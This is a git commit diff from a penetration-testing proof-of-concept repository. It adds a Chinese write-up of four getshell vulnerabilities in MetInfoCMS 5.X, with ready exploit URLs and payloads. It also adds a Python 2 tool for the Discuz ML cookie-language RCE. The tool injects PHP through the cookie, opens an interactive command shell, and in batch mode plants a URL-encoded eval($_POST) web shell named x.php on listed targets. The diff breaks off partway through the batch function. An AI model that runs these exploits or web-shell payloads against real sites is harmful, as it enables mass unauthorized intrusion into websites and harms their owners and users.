mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
upload discuz-ml-rce
This commit is contained in:
parent
8af2b43eca
commit
187e909d76
331
MetInfoCMS 5.X版本GETSHELL漏洞合集.md
Normal file
331
MetInfoCMS 5.X版本GETSHELL漏洞合集.md
Normal file
@ -0,0 +1,331 @@
|
||||
MetInfoCMS 5.X版本GETSHELL漏洞合集
|
||||
|
||||
## 0x00 前言
|
||||
|
||||
2018年1月底MetInfoCMS官方隆重发布6.0版本,调整了之前“漏洞百出”的框架结构,修(杜)复(绝)了多个5.X的版本后台Gestshell漏洞。
|
||||
|
||||
## 0x01安装过程过滤不严导致Getshell
|
||||
|
||||
*前提:有删除/config/install.lock权限*
|
||||
> 默认安装的时候设置了权限的@chmod('../config/install.lock',0554);,所以需要在权限修改了的情况下才能利用这个
|
||||
|
||||
### 1. 结合网上爆出的后台任意文件删除漏洞
|
||||
|
||||
```php
|
||||
#/admin/app/batch/csvup.php
|
||||
|
||||
$classflie=explode('_',$fileField);
|
||||
$classflie=explode('-',$classflie[count($classflie)-1]);
|
||||
$class1=$classflie[0];
|
||||
$class2=$classflie[1];
|
||||
$class3=$classflie[2];
|
||||
$class=$class3?$class3:($class2?$class2:$class1);
|
||||
$classcsv=$db->get_one("select * from $met_column where id=$class");
|
||||
if(!$classcsv){
|
||||
metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
|
||||
}
|
||||
|
||||
# 省略代码
|
||||
|
||||
@file_unlink($flienamecsv);
|
||||
```
|
||||
|
||||
删除/config/install.lock文件可以导致重装(需要由对应的删除权限),删除文件的poc如下:
|
||||
|
||||
```html
|
||||
http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
|
||||
```
|
||||
|
||||
### 2. 重装时数据库配置文件过滤不当
|
||||
|
||||
```php
|
||||
#/install/index.php
|
||||
case 'db_setup':
|
||||
{
|
||||
if($setup==1){
|
||||
$db_prefix = trim($db_prefix);
|
||||
$db_host = trim($db_host);
|
||||
$db_username = trim($db_username);
|
||||
$db_pass = trim($db_pass);
|
||||
$db_name = trim($db_name);
|
||||
$config="<?php
|
||||
/*
|
||||
con_db_host = \"$db_host\"
|
||||
con_db_id = \"$db_username\"
|
||||
con_db_pass = \"$db_pass\"
|
||||
con_db_name = \"$db_name\"
|
||||
tablepre = \"$db_prefix\"
|
||||
db_charset = \"utf8\";
|
||||
*/
|
||||
?>";
|
||||
|
||||
$fp=fopen("../config/config_db.php",'w+');
|
||||
fputs($fp,$config);
|
||||
fclose($fp);
|
||||
```
|
||||
|
||||
在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
|
||||
|
||||
### 3. POC
|
||||
|
||||
数据库配置时修改任意参数为`*/phpinfo();/*`可导致Getshell。点击保存之后,直接访问/config/config_db.php即可getshell。
|
||||
shell地址:`http://xxx.com/config/config_db.php`
|
||||
|
||||
## 0x02 CVE-2017-11347补丁绕过继续Getshell
|
||||
|
||||
*前提:windows服务器+网站绝对路径(只需要知道网站index.php所在目录的上一级目录名)*
|
||||
|
||||
### 1. 查找绝对路径的方法:
|
||||
|
||||
- 利用安装目录下的phpinfo文件: `/install/phpinfo.php`
|
||||
|
||||
- 利用报错信息(
|
||||
|
||||
信息在HTML注释中,必须通过查看网页源码的方式才能获取内容,否则看上去是空白页
|
||||
|
||||
)
|
||||
|
||||
```
|
||||
/app/system/include/public/ui/admin/top.php
|
||||
/app/system/include/public/ui/admin/box.php
|
||||
/app/system/include/public/ui/web/sidebar.php
|
||||
```
|
||||
|
||||
### 2. 漏洞分析
|
||||
|
||||
5.3.19版本针对CVE-2017-11347的补丁分析
|
||||
|
||||
```
|
||||
switch($val[2]){
|
||||
case 1:
|
||||
$address="../about/$fileaddr[1]";
|
||||
break;
|
||||
case 2:
|
||||
$address="../news/$fileaddr[1]";
|
||||
break;
|
||||
case 3:
|
||||
$address="../product/$fileaddr[1]";
|
||||
break;
|
||||
case 4:
|
||||
$address="../download/$fileaddr[1]";
|
||||
break;
|
||||
case 5:
|
||||
$address="../img/$fileaddr[1]";
|
||||
break;
|
||||
case 8:
|
||||
$address="../feedback/$fileaddr[1]";
|
||||
break;
|
||||
default:
|
||||
$address = "";
|
||||
break;
|
||||
|
||||
}
|
||||
$newfile ="../../../$val[1]";
|
||||
if($address != ''){
|
||||
Copyfile($address,$newfile);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
即:5.3.19版本采取:即使在$var[2]为空时,默认给address变量赋值为空,并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时,由于fileaddr[1]可控导致,仍然可以控制文件路径从而Getshell。
|
||||
|
||||
漏洞利用(网站安装在服务器根路径的情况):
|
||||
|
||||
第一步,新建1.ico文件,内容为:<?php phpinfo();?>
|
||||
在后台"地址栏图标"处上传该文件。
|
||||
得到地址为:http://localhost/upload/file/1506587082.ico
|
||||
|
||||
第二步,发送如下payload(注意左斜杠和右斜杠不能随意更改):
|
||||
|
||||
```
|
||||
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
|
||||
```
|
||||
|
||||
shell的地址为:
|
||||
|
||||
```
|
||||
http://localhost/about/shell.php
|
||||
```
|
||||
|
||||
### 3. POC(注意左斜杠和右斜杠不能随意更改):
|
||||
|
||||
```
|
||||
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1
|
||||
```
|
||||
|
||||
特别注意其中的:“网站index.php上层目录名”,
|
||||
|
||||
1.如果网站安装在服务器根目录,这wamp/phpstudy默认目录值为“www";网站index.php上层目录名设置为"www"; 如果为lamp环境,这默认目录值为“html”网站index.php上层目录名设置为"html";。其他的环境类推(利用绝对路径泄露)。
|
||||
|
||||
2.如果网站安装在服务器的二级目录下,则网站index.php上层目录名设置为二级目录名。
|
||||
|
||||
例如:网站搭建在:http://localhost/MetInfoCMS /,则第二步的payload如下:
|
||||
|
||||
```
|
||||
http://localhost/MetInfoCMS/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\MetInfoCMS.\MetInfoCMS \about\shell.php|1
|
||||
```
|
||||
|
||||
相应生成的shell地址为:
|
||||
|
||||
```
|
||||
http://localhost/MetInfoCMS/about/shell.php
|
||||
```
|
||||
|
||||
## 0x03 Copyindx函数处理不当Getshell
|
||||
|
||||
### 1. 声明
|
||||
|
||||
此漏洞点位于admin/app/physical/physical.php文件,漏洞和CVE-2017-11347漏洞十分相似,但是存在根本的差异,不同点如下:
|
||||
|
||||
(1)触发函数是Copyindex函数,而非Copyfile
|
||||
|
||||
(2)此漏洞不是利用文件包含require_one,而是利用任意内容写入
|
||||
|
||||
(3)此漏洞Getshell不需要上传图片
|
||||
|
||||
(4)结合CSRF可以实现一键Getshell
|
||||
|
||||
### 2. 漏洞点
|
||||
|
||||
```
|
||||
# admin/app/physical/physical.php:197-236
|
||||
|
||||
switch($op){
|
||||
case 1:
|
||||
if(is_dir('../../../'.$val[1])){
|
||||
deldir('../../../'.$val[1]);
|
||||
echo $lang_physicaldelok;
|
||||
}
|
||||
else{unlink('../../../'.$val[1]);
|
||||
echo $lang_physicaldelok;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
$adminfile=$url_array[count($url_array)-2];
|
||||
$strsvalto=readmin($val[1],$adminfile,1);
|
||||
filetest('../../../'.$val[1]);
|
||||
deldir('../../../'.$val[1]);
|
||||
$dlappfile=parse_ini_file('dlappfile.php',true);
|
||||
if($dlappfile[$strsvalto]['dlfile']){
|
||||
$return=varcodeb('app');
|
||||
$checksum=$return['md5'];
|
||||
$met_file='/dl/app_curl.php';
|
||||
$stringfile=dlfile($dlappfile[$strsvalto]['dlfile'],"../../../$val[1]");
|
||||
}else{
|
||||
$met_file='/dl/olupdate_curl.php';
|
||||
$stringfile=dlfile("v$metcms_v/$strsvalto","../../../$val[1]");
|
||||
}
|
||||
if($stringfile==1){
|
||||
echo $lang_physicalupdatesuc;
|
||||
}
|
||||
else{
|
||||
echo dlerror($stringfile);
|
||||
die();
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
$fileaddr=explode('/',$val[1]);
|
||||
$filedir="../../../".$fileaddr[0];
|
||||
if(!file_exists($filedir)){ @mkdir ($filedir, 0777); }
|
||||
if($fileaddr[1]=="index.php"){
|
||||
Copyindx("../../../".$val[1],$val[2]);
|
||||
}
|
||||
```
|
||||
|
||||
当$action等于op而且$op等于3的时候,如果$filedir不存在则创建$filedir目录,而且如果$fileaddr[1]等于"index.php"则调用Copyindex函数,并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控!!跟进Copyindex函数源码如下:
|
||||
|
||||
```
|
||||
#admin/include/global.func.php:877-884
|
||||
|
||||
function Copyindx($newindx,$type){
|
||||
if(!file_exists($newindx)){
|
||||
$oldcont ="<?php\n# xxx Enterprise Content Management System \n# Copyright (C) xxx Co.,Ltd (http://www.xxx.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) xxx Co., Ltd. (http://www.xxx.cn). All rights reserved.\n?>";
|
||||
$fp = fopen($newindx,w);
|
||||
fputs($fp, $oldcont);
|
||||
fclose($fp);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
可见,直接把参数$type直接赋值给$fmodule,并写入文件内容,所以可以构造payload直接getshell.
|
||||
|
||||
### 3. POC(xxx为任意的shell目录,index.php文件名不能修改)
|
||||
|
||||
生成的shell地址:
|
||||
|
||||
```
|
||||
http://localhost/MetInfoCMS/xxx/index.php
|
||||
```
|
||||
|
||||
## 0x04 olupdate文件缺陷导致Getshell
|
||||
|
||||
### 1. 漏洞点
|
||||
|
||||
```
|
||||
#/admin/system/olupdate.phpwen文件中,当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程
|
||||
|
||||
#326-360行
|
||||
$num=1;
|
||||
$random = met_rand(6);
|
||||
$date=date('Ymd',time());
|
||||
require_once '../system/database/global.func.php';
|
||||
do{
|
||||
$sqldump = '';
|
||||
$startrow = '';
|
||||
$tables=tableprearray($tablepre);
|
||||
$sizelimit=2048;
|
||||
$tableid = isset($tableid) ? $tableid - 1 : 0;
|
||||
$startfrom = isset($startfrom) ? intval($startfrom) : 0;
|
||||
$tablenumber = count($tables);
|
||||
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
|
||||
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
|
||||
$startfrom = 0;
|
||||
}
|
||||
$startfrom = $startrow;
|
||||
$tableid = $i;
|
||||
if(trim($sqldump)){
|
||||
$sqlfile[]=$bakfile = "../update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql";
|
||||
$version='version:'.$metcms_v;
|
||||
$sqldump = "#xxx.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n#{$met_webkeys}\n# --------------------------------------------------------\n\n\n".$sqldump;
|
||||
if(!file_put_contents($bakfile, $sqldump)){
|
||||
dl_error($lang_updaterr2."({$adminfile}/update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql)",$type,$olid,$ver,$addr,$action);
|
||||
}
|
||||
}
|
||||
$num++;
|
||||
}
|
||||
while(trim($sqldump));
|
||||
if(is_array($sqlfile)) $string = "<?php\n \$sqlfile = ".var_export($sqlfile, true)."; ?>";
|
||||
filetest("../update/$addr/sqlist.php");
|
||||
if(!file_put_contents("../update/$addr/sqlist.php",$string)){
|
||||
dl_error($lang_updaterr2."({$adminfile}/update/$addr/sqlist.php)",$type,$olid,$ver,$addr,$action);
|
||||
}
|
||||
```
|
||||
|
||||
此时由于sqlfile不是数组,即is_array($sqlfile)不成立,导致$string没有初始化,可以任意修改,接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
|
||||
|
||||
*PS:这里有一个小点,由于输入控制sqlfile不是数组,第345行执行$sqlfile[]=$bakfile = "../update/$addr/{$con_dbname}{$date}{$random}{$num}.sql";会导致给字符串赋值报错,导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空,从而跳过$sqlfile[]赋值部分,这里构造tableid=1000(其实只要>=44即可)*
|
||||
|
||||
最后的payload结构如下:
|
||||
|
||||
```
|
||||
/admin/system/olupdate.php?action=sql&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000
|
||||
```
|
||||
|
||||
### 2.POC (参数addr为生成shell的目录,生成shell的文件名sqlist.php不可控)
|
||||
|
||||
```
|
||||
http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string=<?php phpinfo();?>&addr=12313&tableid=1000
|
||||
```
|
||||
|
||||
执行后的shell地址:
|
||||
|
||||
```
|
||||
http://xxx.com/admin/update/12313/sqlist.php
|
||||
```
|
||||
|
||||
## 0x05小结
|
||||
|
||||
都是需要后台管理员权限才能利用的漏洞,不过危害还是比较大,没有升级的网站赶紧升级6.0版本哦!
|
||||
前几个都有一定的条件要求,后面两个比较通杀!
|
@ -39,6 +39,8 @@
|
||||
- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md)
|
||||
- [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md)
|
||||
- [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](dede_burp_admin_path.md)
|
||||
- [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS 5.X版本GETSHELL漏洞合集.md)
|
||||
- [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md)
|
||||
|
||||
## Mobile APP
|
||||
|
||||
|
21
discuz-ml-rce/LICENSE
Normal file
21
discuz-ml-rce/LICENSE
Normal file
@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 LSA
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
83
discuz-ml-rce/README.md
Normal file
83
discuz-ml-rce/README.md
Normal file
@ -0,0 +1,83 @@
|
||||
dz-ml-rce.py :discuz ml RCE 漏洞检测工具
|
||||
==
|
||||
----------------
|
||||
|
||||
|
||||
# 概述
|
||||
<br/>
|
||||
漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行,详情参考
|
||||
|
||||
[discuz ml RCE漏洞重现及分析](http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/)
|
||||
|
||||
<br/>
|
||||
本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。
|
||||
|
||||
|
||||
----------------
|
||||
|
||||
# 需求
|
||||
<br/>
|
||||
python2.7<br/>
|
||||
pip -r requirements.txt
|
||||
<br/><br/>
|
||||
|
||||
**使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报!**
|
||||
|
||||
----------------
|
||||
|
||||
# 快速开始
|
||||
<br/>
|
||||
使用帮助<br/>
|
||||
python dz-ml-rce.py -h<br/>
|
||||
|
||||

|
||||
|
||||
<br/>
|
||||
判断模式<br/>
|
||||
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" <br/>
|
||||
|
||||

|
||||
|
||||
<br/>
|
||||
cmdshell模式<br/>
|
||||
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell<br/>
|
||||
|
||||

|
||||
|
||||
<br/>
|
||||
getshell模式<br/>
|
||||
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell<br/>
|
||||
|
||||

|
||||
|
||||
<br/>
|
||||
批量检测<br/>
|
||||
python dz-ml-rce.py -f urls.txt<br/>
|
||||
|
||||

|
||||
|
||||
<br/>
|
||||
批量getshell<br/>
|
||||
python dz-ml-rce.py -f urls.txt --getshell<br/>
|
||||
|
||||

|
||||
|
||||
|
||||
----------------
|
||||
|
||||
|
||||
# TODO
|
||||
有空会做各种优化。
|
||||
|
||||
|
||||
----------------
|
||||
|
||||
# 反馈
|
||||
[issus](https://github.com/theLSA/discuz-ml-rce/issues)
|
||||
<br/>
|
||||
博客:http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/
|
||||
<br/>
|
||||
gmail:lsasguge196@gmail.com
|
||||
<br/>
|
||||
qq:2894400469@qq.com
|
||||
|
@ -0,0 +1 @@
|
||||
http://www.xxx.com/home.php
|
@ -0,0 +1 @@
|
||||
http://www.xxx.cn/forum.php
|
BIN
discuz-ml-rce/demo/dzmlrce01.png
Normal file
BIN
discuz-ml-rce/demo/dzmlrce01.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 90 KiB |
BIN
discuz-ml-rce/demo/dzmlrce02.png
Normal file
BIN
discuz-ml-rce/demo/dzmlrce02.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 16 KiB |
BIN
discuz-ml-rce/demo/dzmlrce03.png
Normal file
BIN
discuz-ml-rce/demo/dzmlrce03.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
BIN
discuz-ml-rce/demo/dzmlrce04.png
Normal file
BIN
discuz-ml-rce/demo/dzmlrce04.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 20 KiB |
BIN
discuz-ml-rce/demo/dzmlrce06.png
Normal file
BIN
discuz-ml-rce/demo/dzmlrce06.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 29 KiB |
BIN
discuz-ml-rce/demo/dzmlrce09.png
Normal file
BIN
discuz-ml-rce/demo/dzmlrce09.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 199 KiB |
406
discuz-ml-rce/dz-ml-rce.py
Normal file
406
discuz-ml-rce/dz-ml-rce.py
Normal file
@ -0,0 +1,406 @@
|
||||
# coding:utf-8
|
||||
# Author:LSA
|
||||
# Description:discuz ml rce(cookie-language)
|
||||
# Date:20190714
|
||||
|
||||
|
||||
import requests
|
||||
import optparse
|
||||
#from requests.packages import urllib3
|
||||
import sys
|
||||
import urllib3
|
||||
import re
|
||||
from bs4 import BeautifulSoup
|
||||
import Queue
|
||||
import threading
|
||||
import os
|
||||
import datetime
|
||||
|
||||
|
||||
|
||||
reload(sys)
|
||||
sys.setdefaultencoding('utf-8')
|
||||
|
||||
|
||||
|
||||
lock = threading.Lock()
|
||||
q0 = Queue.Queue()
|
||||
threadList = []
|
||||
global success_count
|
||||
success_count = 0
|
||||
|
||||
|
||||
total_count = 0
|
||||
|
||||
|
||||
def get_setcookie_language_value(tgtUrl,timeout):
|
||||
|
||||
urllib3.disable_warnings()
|
||||
tgtUrl = tgtUrl
|
||||
try:
|
||||
rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
|
||||
rsp_setcookie = rsp.headers['Set-Cookie']
|
||||
# print rsp.text
|
||||
pattern = re.compile(r'(.*?)language=')
|
||||
language_pattern = pattern.findall(rsp_setcookie)
|
||||
setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
|
||||
return str(setcookie_language)
|
||||
|
||||
except:
|
||||
print str(tgtUrl) + ' get setcookie language value error!'
|
||||
return 'get-setcookie-language-value-error'
|
||||
|
||||
|
||||
def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout):
|
||||
|
||||
tgtUrl = tgtUrl
|
||||
check_payload = setcookie_language_value + '\'.phpinfo().\';'
|
||||
headers = {}
|
||||
|
||||
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
|
||||
headers["Cookie"] = check_payload;
|
||||
|
||||
check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
|
||||
#print headers['Cookie']
|
||||
if check_rsp.status_code == 200:
|
||||
try:
|
||||
if (check_rsp.text.index('PHP Version')):
|
||||
print 'target is vulnerable!!!'
|
||||
|
||||
else:
|
||||
soup = BeautifulSoup(check_rsp.text, 'lxml')
|
||||
if (soup.find('title')):
|
||||
print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n'
|
||||
except ValueError, e:
|
||||
print 'target seem not vulnerable-' + e.__repr__()
|
||||
except:
|
||||
print 'target seem not vulnerable-Unknown error.'
|
||||
else:
|
||||
print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n'
|
||||
|
||||
|
||||
|
||||
def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout):
|
||||
|
||||
#cmdshell_pattern = re.compile(r'([\s][\S]*?)<!DOCTYPE html')
|
||||
|
||||
|
||||
tgtUrl = tgtUrl
|
||||
|
||||
cmd_exp = '\'.system(\'{0}\').\';'
|
||||
|
||||
cmd_test = 'echo zxc000'
|
||||
|
||||
cmd_exp_test = setcookie_language_value + cmd_exp.format(cmd_test)
|
||||
|
||||
headers = {}
|
||||
|
||||
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
|
||||
headers["Cookie"] = cmd_exp_test;
|
||||
|
||||
|
||||
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
|
||||
if cmd_exp_rsp.status_code == 200:
|
||||
if 'zxc000' in cmd_exp_rsp.text:
|
||||
print 'Get cmdshell success! type exit to exit.'
|
||||
|
||||
while True:
|
||||
command = raw_input("cmd>>> ")
|
||||
if command == 'exit':
|
||||
break
|
||||
cmd_exp_send = setcookie_language_value + cmd_exp.format(command)
|
||||
headers['Cookie'] = cmd_exp_send
|
||||
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
|
||||
cmdshell_result = cmd_exp_rsp.text[0:1000].split('<!DOCTYPE html')[0].strip()
|
||||
#cmdshell_result = cmdshell_pattern.findall(cmd_exp_rsp.text[0:100])
|
||||
print cmdshell_result
|
||||
else:
|
||||
print 'Get cmdshell seem failed-can not find zxc000.'
|
||||
else:
|
||||
print 'Get cmdshell seem failed-status code: ' + str(cmd_exp_rsp.status_code) + '\n'
|
||||
|
||||
|
||||
|
||||
def dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout):
|
||||
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
|
||||
getshell_exp_send = setcookie_language_value + getshell_exp
|
||||
|
||||
headers = {}
|
||||
|
||||
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
|
||||
|
||||
headers['Cookie'] = getshell_exp_send
|
||||
|
||||
filename = tgtUrl.split('/')[-1]
|
||||
|
||||
getshell_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
|
||||
# print headers['Cookie']
|
||||
if getshell_rsp.status_code == 200:
|
||||
getshell_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
|
||||
#print tgtUrl.split('/')[-1]
|
||||
#print tgtUrl.split(filename)[0] + 'x.php'
|
||||
if (getshell_rsp1.status_code) == 200 and (getshell_rsp1.text == ""):
|
||||
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
|
||||
else:
|
||||
#soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
|
||||
print 'Getshell failed!-rsp1 status code: ' + str(getshell_rsp1.status_code) + '\nrsp1 text: ' + getshell_rsp1.text[0:100]
|
||||
|
||||
else:
|
||||
print 'Target seem not vulnerable-status code: ' + str(getshell_rsp.status_code) + '\n'
|
||||
|
||||
|
||||
|
||||
def dz_ml_rce_check_batch(timeout,f4success,f4fail):
|
||||
|
||||
global total_count
|
||||
headers = {}
|
||||
|
||||
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
|
||||
|
||||
while(not q0.empty()):
|
||||
tgtUrl = q0.get()
|
||||
qcount = q0.qsize()
|
||||
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
|
||||
|
||||
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
|
||||
if setcookie_language_value == 'get-setcookie-language-value-error':
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
check_payload = str(setcookie_language_value) + '\'.phpinfo().\';'
|
||||
headers["Cookie"] = check_payload;
|
||||
|
||||
try:
|
||||
check_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
|
||||
|
||||
except requests.exceptions.Timeout:
|
||||
#print tgtUrl + ' Checked failed! Error: Timeout'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
except requests.exceptions.ConnectionError:
|
||||
#print tgtUrl + ' Checked failed! Error: ConnectionError'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
except:
|
||||
#print tgtUrl + ' Checked failed! Error: Unknown error'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
if check_batch_rsp.status_code == 200:
|
||||
try:
|
||||
if (check_batch_rsp.text.index('PHP Version')):
|
||||
print tgtUrl + ' is vulnerable!!!'
|
||||
lock.acquire()
|
||||
f4success.write(tgtUrl+'\n')
|
||||
lock.release()
|
||||
global success_count
|
||||
success_count = success_count + 1
|
||||
|
||||
else:
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed!' + '\n')
|
||||
lock.release()
|
||||
except ValueError, e:
|
||||
#print tgtUrl + ' seem not vulnerable-' + e.__repr__()
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ' + e.__repr__() + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
except:
|
||||
#print tgtUrl + ' seem not vulnerable-Unknown error.'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error.'+'\n')
|
||||
lock.release()
|
||||
continue
|
||||
else:
|
||||
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ' Checked failed! Error: '+ str(check_batch_rsp.status_code) + '\n')
|
||||
lock.release()
|
||||
|
||||
def dz_ml_rce_getshell_batch(timeout,f4success,f4fail):
|
||||
|
||||
|
||||
headers = {}
|
||||
|
||||
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
|
||||
|
||||
global total_count
|
||||
while(not q0.empty()):
|
||||
tgtUrl = q0.get()
|
||||
qcount = q0.qsize()
|
||||
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
|
||||
|
||||
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
|
||||
if setcookie_language_value == 'get-setcookie-language-value-error':
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
|
||||
lock.release()
|
||||
continue
|
||||
|
||||
|
||||
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
|
||||
getshell_exp_send = setcookie_language_value + getshell_exp
|
||||
headers["Cookie"] = getshell_exp_send
|
||||
|
||||
try:
|
||||
getshell_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
|
||||
|
||||
except requests.exceptions.Timeout:
|
||||
#print tgtUrl + ' Checked failed! Error: Timeout'
|
||||
lock.acquire()
|
||||
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
|
